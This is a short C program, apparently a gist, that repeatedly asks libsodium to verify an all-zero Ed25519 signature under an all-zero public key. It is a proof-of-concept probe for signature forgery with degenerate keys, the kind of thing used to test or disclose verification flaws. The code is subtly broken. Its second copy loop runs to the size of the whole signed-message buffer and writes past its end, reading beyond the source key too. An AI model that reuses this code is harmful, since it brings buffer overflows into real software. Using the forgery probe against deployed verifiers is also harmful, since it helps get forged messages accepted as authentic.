gistfile1.c

#include <stdio.h>
#include <sodium.h>

int main(int argc, char **argv) {
    int tries = 1;

    sodium_init();

    while (1) {
        unsigned char zero_public_key[crypto_sign_PUBLICKEYBYTES] = {0};
        unsigned char random_public_key[crypto_sign_PUBLICKEYBYTES];
        unsigned char signed_message[crypto_sign_BYTES + crypto_sign_PUBLICKEYBYTES];
        unsigned char dontcare[1024];
        unsigned long long message_len, signed_message_len;
        int i;

        // generate a random public key
        crypto_sign_keypair(random_public_key, dontcare);

        // forge a signed message with a signature of 0 and a random public key as a message
        for (i = 0; i < 64; ++i) {
            signed_message[i] = 0;
        }

        for (i = 0; i < sizeof(signed_message); ++i) {
            signed_message[64 + i] = random_public_key[i];
        }

        signed_message_len = sizeof(signed_message);

        // attempt to verify
        if (!crypto_sign_open(dontcare, &message_len, signed_message, signed_message_len, zero_public_key)) {
            printf("Oops! A forged message verified after %d tries.\n", tries);
            break;
        }

        tries++;
    }

    return 0;
}